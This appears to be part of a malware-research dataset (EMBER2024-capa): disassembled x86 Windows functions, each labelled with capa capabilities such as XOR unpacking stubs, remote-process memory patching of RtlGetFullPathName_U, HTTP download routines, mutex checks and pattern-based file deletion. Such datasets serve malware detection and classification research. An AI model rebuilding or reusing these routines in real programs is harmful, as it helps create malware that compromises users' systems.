joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43af06
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x453a88
cmp edx, dword [eax]
je 0x43af28
add eax, 8
inc ecx
cmp eax, 0x453b18
jl 0x43af19
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x453a88]
jne 0x43b056
mov eax, dword [0x45d800]
cmp eax, 1
je 0x43b030
test eax, eax
jne 0x43af59
cmp dword [0x450fb4], 1
je 0x43b030
cmp edx, 0xfc
je 0x43b056
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x43af90
lea eax, [ebp - 0x1a4]
push 0x4441c8
push eax
call fcn.00434ba0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004347c0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x43afd3
lea eax, [ebp - 0x1a4]
push eax
call fcn.004347c0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4441c4
push edi
call fcn.004346c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4441a8
push eax
call fcn.00434ba0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00434bb0
lea eax, [ebp - 0xa0]
push 0x44a2d4
push eax
call fcn.00434bb0
push dword [esi + 0x453a8c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00434bb0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x444180
push eax
call fcn.0043cff8
add esp, 0x2c
pop edi
jmp 0x43b056
lea eax, [ebp + 8]
lea esi, [esi + 0x453a8c]
push 0
push eax
push dword [esi]
call fcn.004347c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x9fe6426
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x73ed5eb9
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x42e006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x70d1327d
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x34e34640
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x402290
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
jae 0x4022b2
lea eax, [ebp + 8]
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
push eax
lea eax, [ebp - 0x10c]
push str._s.mnth
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
jae 0x4022f2
lea eax, [ebp + 8]
lea ecx, [ebp - 0x220]
push ecx
push eax
lea edx, [ebp - 0x10c]
push str._s_s
push edx
call edi
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
call ebx
lea ecx, [ebp - 0x24c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4022e6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x1c], 0x10
jb 0x402340
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004082f0
mov esp, ebp
pop ebp
ret

Function at 0x4027d0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x220]
mov edi, ecx
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
mov esi, edx
mov dword [ebp - 0x220], 0x200
call dword [sym.imp.urlmon.dll_ObtainUserAgentString]
lea edx, [ebp - 0x21c]
push edx
lea eax, [ebp - 0xc]
push 5
push eax
mov dword [ebp - 0x21c], 0x544547
call dword [sym.imp.MSVCR100.dll_strcpy_s]
add esp, 0xc
push 0
push 0
push 0
push 1
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x4028ee
push 0
push 0
push 3
push 0
push 0
push 0x50
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
je 0x4028e7
mov ecx, 0x73fba137
lea eax, [ebp - 0x218]
call fcn.004072b0
push 0
push 0x8404f700
push 0
push 0
push eax
push esi
lea edx, [ebp - 0xc]
push edx
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov byte [ebp - 0x210], al
test esi, esi
je 0x4028e7
push eax
push eax
push eax
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
lea eax, [ebp - 0x21c]
push eax
push 0x64
push 0x410078
push esi
mov dword [ebp - 0x21c], 0x64
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [ebp - 0x21c]
push esi
mov byte [ecx + 0x410078], 0
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004082f0
mov esp, ebp
pop ebp
ret
Function at 0x4032d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push 0
push 5
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push str.RtlGetFullPathName_U
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40338f
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, 0x40f460
push esi
mov dword [ecx], edi
mov esi, edi
sub ebx, edi
mov dword [ebp - 4], 5
mov edi, edi
mov eax, dword [ebp + 8]
push 0
push 1
lea edx, [ebx + esi]
push edx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
inc esi
dec dword [ebp - 4]
jne 0x403340
mov esi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push edi
push esi
call ebx
push 0
push 5
push 0x40a61c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 4]
lea edx, [ebp - 4]
push edx
push eax
push 5
push edi
push esi
call ebx
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4067f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409048
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x406982
cmp byte [ebx + 0x49], 0
je 0x406982
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x406976
lea esi, [ebp - 0x2c]
call fcn.00406030
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x406863
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x40689b
dec eax
je 0x40689f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x40697d
call fcn.004049d0
xor al, al
jmp 0x406984
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4068af
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4068dd
cmp edi, 0x10
jae 0x4068be
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x40696e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x40697a
test esi, esi
jne 0x406857
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40699f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40699f
cmp edi, esi
jae 0x406957
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00406c10
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x406857
mov ecx, eax
cmp edi, 0x10
jae 0x406933
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40694e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x406851
test esi, esi
jne 0x406929
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x406966
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x406851
lea esi, [ebp - 0x2c]
call fcn.004049d0
xor al, al
jmp 0x406984
lea esi, [ebp - 0x2c]
call fcn.004049d0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004082f0
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x4070a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x25
xor ecx, ecx
jmp 0x4070b0
mov al, byte [edi + ecx + 0x4a0c275b]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x4070cd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x4070b0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x408170
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x409188
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x40d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x4081d3
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.00407f30
mov ecx, esi
call fcn.00407fe0
mov ecx, edi
mov ebx, esi
call fcn.004080c0
cmp dword [ebp + 0x1c], 0x10
jb 0x408202
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004082f0
mov esp, ebp
pop ebp
ret

Function at 0x4082f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d018]
jne 0x4082fa
repz ret
jmp fcn.0040870d

Function at 0x847531
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x8472a2
sub edx, 0x10d725b
add edx, 1
call fcn.00847567
mov edx, edx
xor dword [esi], edi
sub edx, edx
inc esi
push 0x45baa86e
pop edx
cmp esi, ecx
jne fcn.00847531
or edx, ebx
sub edx, 1
ret
Function at 0x401000
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.0040206b
pop ecx
pop ecx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.00406ca0
mov eax, dword [0x418a00]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
test eax, eax
push 0x493e0
je 0x401069
push eax
call edi
test eax, eax
jne 0x40106b
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
call ebx
mov esi, 0xa4cb80
push 0
call fcn.00406732
mov eax, dword [0x418a00]
test eax, eax
pop ecx
push esi
je 0x40108b
push eax
call edi
test eax, eax
jne 0x401070
jmp 0x401060
call ebx
jmp 0x401070

Function at 0x40108f
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebx
push esi
push edi
push 0x901
call fcn.004069a3
mov esi, eax
mov dword [esp], 0x905
call fcn.004069a3
pop ecx
push esi
push 1
xor esi, esi
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401112
push edi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp edi, esi
mov dword [0x418a00], eax
je 0x4010e3
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push esi
push esi
push esi
push 0x403800
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
call section..text
mov eax, dword [0x418a00]
cmp eax, esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x40110b
push eax
call edi
cmp ebx, esi
je 0x401112
push ebx
call edi
pop edi
pop esi
pop ebx
ret
Function at 0x4017a5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x4017fc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
imul eax, eax, 0x21c
mov ecx, dword [ecx + 0x1c]
add eax, ecx
push esi
lea ecx, [ebp - 4]
push ecx
push dword [eax + 0x208]
push dword [eax + 0x218]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x401800
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
movzx ecx, byte [ebp + 8]
xor eax, eax
sub ecx, eax
je 0x401840
dec ecx
je 0x401832
dec ecx
je 0x401824
dec ecx
jne 0x401866
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x40184c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x40184c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40184c
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
jbe 0x401866
mov ecx, dword [ebp + 0xc]
add ecx, eax
cmp byte [ecx - 1], 0x5c
je 0x401866
mov byte [ecx], 0x5c
mov ecx, dword [ebp + 0xc]
inc eax
mov byte [eax + ecx], 0
pop ebp
ret
Function at 0x401eac
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x120c
call fcn.00407300
push edi
xor edi, edi
cmp dword [ebp + 8], edi
mov dword [ebp - 4], edi
je 0x402066
cmp dword [ebp + 0xc], edi
je 0x402066
lea eax, [ebp - 0x20c]
push 0x200
push eax
call fcn.00401cb3
pop ecx
pop ecx
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, edi
mov dword [ebp - 8], eax
je 0x402066
push ebx
push esi
mov esi, dword [ebp + 0x14]
cmp esi, edi
je 0x401f36
push dword [esi]
call fcn.00404f26
mov ebx, eax
test ebx, ebx
pop ecx
jle 0x401f34
push edi
push dword [esi]
call fcn.00404f0c
pop ecx
pop ecx
push dword [eax + 4]
push dword [eax]
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_InternetSetCookieA]
inc edi
cmp edi, ebx
jl 0x401f17
xor edi, edi
cmp dword [ebp + 0x10], edi
je 0x401f48
push dword [ebp + 0x10]
call fcn.00401cd1
pop ecx
mov esi, eax
jmp 0x401f4a
xor esi, esi
cmp esi, edi
je 0x401f57
push esi
call fcn.00407270
pop ecx
jmp 0x401f59
xor eax, eax
push edi
push 0x4000200
push eax
push esi
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp - 0xc], edi
je 0x40204d
test esi, esi
je 0x401f85
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call fcn.00401c65
test eax, eax
mov dword [ebp - 4], eax
je 0x40204d
push 0
lea eax, [ebp + 8]
push eax
push dword [ebp - 4]
mov dword [ebp + 8], 4
push 0x20000013
push edi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x40204d
push 1
push edi
call fcn.00401e2a
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
call fcn.004018c8
mov esi, eax
test esi, esi
je 0x40204d
lea eax, [ebp + 8]
push eax
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x120c]
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x402016
cmp dword [ebp + 8], 0
jbe 0x40201c
push dword [ebp + 8]
lea eax, [ebp - 0x120c]
push eax
push esi
call fcn.00401908
add esp, 0xc
lea eax, [ebp + 8]
push eax
push ebx
lea eax, [ebp - 0x120c]
push eax
push dword [ebp - 0xc]
call edi
test eax, eax
jne 0x401fee
mov eax, dword [esi + 4]
mov edi, dword [ebp - 4]
push eax
push 0x40
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
mov dword [edi + 0xc], eax
je 0x402043
push dword [esi + 4]
push dword [esi]
push eax
call fcn.00406d00
add esp, 0xc
push esi
call fcn.004018de
mov edi, dword [ebp - 0xc]
pop ecx
push dword [ebp - 8]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
test edi, edi
je 0x40205f
push edi
call esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
jmp 0x402068
xor eax, eax
pop edi
leave
ret
Function at 0x40217c
Capabilities:
Query service status

Disassembly:
push esi
push 0x901
xor esi, esi
call fcn.004069a3
cmp eax, esi
pop ecx
jne 0x40215d
xor eax, eax
pop esi
ret
push eax
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
cmp eax, esi
je 0x402178
xor esi, esi
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
ret
cmp dword [0x418a04], 0
je 0x40218a
jmp fcn.004020c3
jmp 0x402147

Function at 0x402269
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x402296
xor eax, eax
jmp 0x40231e
push esi
push esi
push esi
push 2
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, esi
mov dword [ebp - 0xc], eax
je 0x402313
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, esi
je 0x40230a
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
sub edx, dword [ecx + eax + 0x34]
push edi
movzx edi, word [ecx + eax + 6]
cmp edi, esi
mov dword [ebp - 4], esi
jle 0x402302
lea ecx, [ecx + eax + 0x108]
push ebx
mov ebx, dword [ecx - 4]
cmp edx, ebx
mov dword [ebp - 8], ebx
jb 0x4022ec
mov ebx, dword [ecx]
add ebx, dword [ebp - 8]
cmp edx, ebx
jbe 0x4022f9
add ecx, 0x28
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jl 0x4022d9
jmp 0x402301
mov esi, dword [ecx + 4]
sub esi, dword [ebp - 8]
add esi, edx
pop ebx
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x402321
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ebx, [esi + 4]
xor edi, edi
movzx eax, byte [edi + esi]
push eax
push 0x28
push ebx
push ebx
call fcn.00404c50
add esp, 0x10
inc edi
cmp edi, 4
jl 0x402332
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
lea eax, [ebp - 0xc]
push eax
call fcn.00402bff
push 0x20
lea eax, [ebp - 0xc]
push edi
push eax
call fcn.00402e1a
lea eax, [ebp - 0xc]
push 0x40e294
push eax
call fcn.00402da0
add esp, 0x18
cmp eax, 0xffffffff
je 0x402385
mov dword [esi + 8], 2
jmp 0x4023a0
lea eax, [ebp - 0xc]
push 0x40e290
push eax
call fcn.00402da0
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi + 8], ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00402cb1
push 0x10
lea edi, [esi + 0x1c]
lea eax, [esi + 0xc]
push edi
push eax
call fcn.00406d00
push 0x10
push dword [0x418a38]
push edi
call fcn.00406d00
call fcn.00404bfa
mov dword [ebp + 8], eax
push 4
lea eax, [ebp + 8]
push eax
push esi
call fcn.00406d00
add esp, 0x28
xor edi, edi
movzx eax, byte [edi + esi]
push eax
push 0x28
push ebx
push ebx
call fcn.00404c50
add esp, 0x10
inc edi
cmp edi, 4
jl 0x4023df
pop edi
pop esi
pop ebx
leave
ret